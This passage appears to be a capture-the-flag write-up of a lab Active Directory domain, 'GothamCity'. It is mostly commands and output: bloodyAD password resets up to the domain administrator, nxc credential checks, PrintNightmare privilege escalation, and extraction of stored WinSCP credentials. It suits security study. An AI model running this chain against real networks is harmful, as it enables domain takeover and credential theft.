└─$ bloodyAD -u 'gmsa-robin$' -p 'e53fd750fc7d68fb4210782546a9ff48:e53fd750fc7d68fb4210782546a9ff48' -d gotham.city --dc-ip 192.168.56.20 set password harley.quinn 'P@ssw0rd'
[+] Password changed successfully!

┌──(pix3l㉿home)-[~/Desktop/machines/GothamCity]
└─$ nxc smb DC01.GOTHAM.CITY -u 'harley.quinn' -p 'P@ssw0rd'
SMB         192.168.56.20   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False)
SMB         192.168.56.20   445    DC01             [+] GOTHAM.CITY\harley.quinn:P@ssw0rd

And same concept again, I can RDP again but this time into SRV02

1
2
3
4
5
6
7
8
└─$ nxc rdp ip.txt -u 'harley.quinn' -p 'P@ssw0rd'
RDP         192.168.56.21   3389   SRV01            [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV01) (domain:GOTHAM.CITY) (nla:True)
RDP         192.168.56.20   3389   DC01             [*] Windows 10 or Windows Server 2016 Build 20348 (name:DC01) (domain:GOTHAM.CITY) (nla:True)
RDP         192.168.56.21   3389   SRV01            [+] GOTHAM.CITY\harley.quinn:P@ssw0rd
RDP         192.168.56.20   3389   DC01             [+] GOTHAM.CITY\harley.quinn:P@ssw0rd
RDP         192.168.56.22   3389   SRV02            [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV02) (domain:GOTHAM.CITY) (nla:True)
RDP         192.168.56.22   3389   SRV02            [+] GOTHAM.CITY\harley.quinn:P@ssw0rd (Pwn3d!)
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

and there is our 4th flag image


Getting DA (flags 5th to 13th)

Compromising SRV02

I took a look around and I saw this: image

Decrypting the password for authenticating as harvey.dent on winscp service would require decrypting the DPAPI blobs which we can’t because we are not local admins or have these rights, it might be useful later.

I fired winpeas again:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
TA0004 - Privilege Escalation
Point and Print configuration
Check whether the Print Spooler service is enabled and if the Point and Print configuration allows non‑administrator users to install printer drivers.
High

Policy      : Limits print driver installation to Administrators
Key         : HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint
Value       : RestrictDriverInstallationToAdministrators
Data        : 0
Default     : 1
Expected    : <null|1>
Description : Installing printer drivers does not require administrator privileges.

Policy      : Point and Print Restrictions > NoWarningNoElevationOnInstall

If Point and Print is misconfigured, any domain user can abuse the RpcAddPrinterDriver API to install a malicious driver the system. Since the Print Spooler runs as SYSTEM, the payload executes with SYSTEM privileges, giving local privilege escalation. And value of 0 means non-admin users can install drivers. It’s the old classic PrintNightmare exploit

There are 2 CVEs for this vulnerability:

  • CVE-2021–1675 which goal is RCE and LPE
  • CVE-2021–34527 for local privilege escalation (LPE)

I used a public exploit was released by John Hammond and it worked. image Now pix3l is localadmin on SRV02

Remember the winscp? now we have local admin privs so we can extract the credentials from the registry, but upon searching for a way in when I first stumpled across this file I found that nxc again has a module for that:

1
2
3
4
5
6
7
8
9
10
└─$ nxc smb srv02.gotham.city -u 'pix3l' -p 'P@ssw0rd' --local-auth -M winscp
SMB         192.168.56.22   445    SRV02            [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:SRV02) (signing:False) (SMBv1:False)
SMB         192.168.56.22   445    SRV02            [+] SRV02\pix3l:P@ssw0rd (Pwn3d!)
WINSCP      192.168.56.22   445    SRV02            [*] Looking for WinSCP creds in Registry...
WINSCP      192.168.56.22   445    SRV02            [+] Found 1 sessions for user "harvey.dent" in registry!
WINSCP      192.168.56.22   445    SRV02            =======harvey.dent@coin.gotham.city=======
WINSCP      192.168.56.22   445    SRV02            HostName: coin.gotham.city
WINSCP      192.168.56.22   445    SRV02            UserName: harvey.dent
WINSCP      192.168.56.22   445    SRV02            Password: X76IAZS!j'Czu,
WINSCP      192.168.56.22   445    SRV02            [*] Looking for WinSCP creds in User documents and AppData...

Now we have access to harvey.dent which holds multiple GenericWrite privileges over various domain objects.

force reset pass over Adminstrator:

1
2
3
4
5
6
└─$ bloodyAD -u 'harvey.dent' -p 'X76IAZS!j'\''Czu,' -d gotham.city --dc-ip 192.168.56.20 set password administrator 'IownYou'
[+] Password changed successfully!

└─$ nxc smb dc01.gotham.city -u administrator -p IownYou
SMB         192.168.56.20   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False)
SMB         192.168.56.20   445    DC01             [+] GOTHAM.CITY\administrator:IownYou (Pwn3d!)

We Got the DA!!

And that’s it? no taking over DC01?..

I got curios so I checked the intended approach in a public write-up:

At the CTF, the account harvey.dentThere was only a GenericAll right over the Backup Operators group. In this version, the account has a GenericAll on several critical objects in the domain. This unexpected elevation of privileges is probably due to a delegation inherited via the SD-HOLDER object, whose permissions have been propagated to other entities in the domain.

So harvey.dent can add any domain user we control to Backup Operators group. Once added, this user can backup SAM, SYSTEM and security Registry Hives from the DC to extract the Administrator hash

Mission complete.. Joker would be proud

Happy pwning!!

This post is licensed under CC BY 4.0 by the author.